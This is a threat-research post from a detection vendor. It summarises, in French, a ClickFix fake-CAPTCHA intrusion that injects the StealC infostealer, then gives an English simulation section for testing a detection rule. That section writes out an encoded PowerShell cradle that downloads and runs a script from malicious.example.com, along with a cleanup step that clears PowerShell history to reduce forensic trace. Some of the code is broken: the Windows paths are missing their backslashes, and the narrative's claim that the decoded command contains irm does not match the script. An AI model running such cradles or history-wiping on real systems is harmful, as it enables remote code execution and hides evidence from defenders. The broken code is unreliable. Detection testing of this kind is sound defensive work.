SOC Prime Bias: Moyen

16 Feb 2026 14:47 UTC

Comment ClickFix Ouvre la Porte au Voleur d’Informations StealC Sournois

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Suivre
Comment ClickFix Ouvre la Porte au Voleur d’Informations StealC Sournois
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Une intrusion sans fichier, en plusieurs étapes, débute sur le site compromis d’un restaurant vietnamien hébergeant un faux CAPTCHA. Les victimes sont incitées à exécuter un PowerShell qui extrait du shellcode indépendant de la position, charge de manière réfléchie un téléchargeur 64 bits et injecte le voleur d’informations StealC dans svchost.exe. StealC collecte les identifiants de navigateurs, les données des portefeuilles de cryptomonnaies, les identifiants Steam et Outlook, les détails de l’hôte et les captures d’écran, puis exfiltre via un trafic HTTP chiffré par RC4.

Investigation

Les chercheurs ont disséqué le chargeur JavaScript et PowerShell, ont confirmé l’utilisation du framework de shellcode Donut, et ont suivi les récupérations HTTP du téléchargeur vers des URLs contrôlées par l’attaquant. Le stealer semble être un malware doté de fonctions de vol modulaire, fourni en mode malware-as-a-service, avec une routine d’auto-suppression. Les notes de chasse incluent une valeur User-Agent de « Loader » et des clés de registre spécifiques liées à la mise en scène et à l’exécution.

Atténuation

Les défenses recommandées incluent la limitation ou la désactivation de la fonction de collage dans les navigateurs, le renforcement des politiques d’exécution de PowerShell et l’alerte sur des chaînes User-Agent inhabituelles. Ajoutez la détection du chargement PE réfléchi et de l’injection de processus, et appliquez l’inspection des sorties HTTP pour la livraison des charges utiles encodées en Base64. L’éducation des utilisateurs sur les appâts CAPTCHA fictifs devrait être considérée comme un contrôle, pas une réflexion après coup.

Réponse

En cas de découverte, isolez le point de terminaison, arrêtez l’instance injectée de svchost.exe, capturez les dumps de mémoire pour l’examen du shellcode et bloquez les domaines/URLs malveillants. Réinitialisez les identifiants exposés, examinez les artefacts de registre et de navigateur pour en mesurer l’impact, et surveillez le trafic C2 résiduel.

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:

    An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using iex(irm…). By using the -EncodedCommand switch, the attacker hides the actual commands from casual inspection, and the iex(irm…) pattern directly matches the detection rule.

    1. Create the malicious script (payload.ps1) hosted on http://malicious.example.com/payload.ps1.

    2. Encode the launcher command:

      $launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"
      $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher)
      $encoded = [Convert]::ToBase64String($bytes)
      Write-Output $encoded   # This value is used in the next step
    3. Execute the encoded command on the target:

      powershell.exe -EncodedCommand <Base64StringFromStep2>

    This generates a Sysmon ProcessCreate event where CommandLine contains -EncodedCommand and the decoded text includes iex(irm…), satisfying the Sigma rule.

  • Regression Test Script:

    #-----------------------------------------------------------
    # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm)
    #-----------------------------------------------------------
    
    # 1. Define malicious script URL (replace with your test server)
    $maliciousUrl = "http://malicious.example.com/payload.ps1"
    
    # 2. Build the one‑liner that downloads and executes the script
    $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))"
    
    # 3. Encode the command in Base64 (Unicode)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
    $b64   = [Convert]::ToBase64String($bytes)
    
    # 4. Launch PowerShell with the encoded command
    Write-Host "Executing encoded command..."
    Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" `
                  -ArgumentList "-EncodedCommand $b64" `
                  -NoNewWindow -Wait
    
    Write-Host "Simulation completed."
  • Cleanup Commands:

    # Remove any temporary files created by the simulated payload (if any)
    # Example: delete the downloaded script if it was saved locally
    $tempPath = "$env:TEMPpayload.ps1"
    if (Test-Path $tempPath) {
        Remove-Item $tempPath -Force
        Write-Host "Removed temporary payload."
    }
    
    # Optionally, clear the PowerShell history to reduce forensic trace
    Clear-History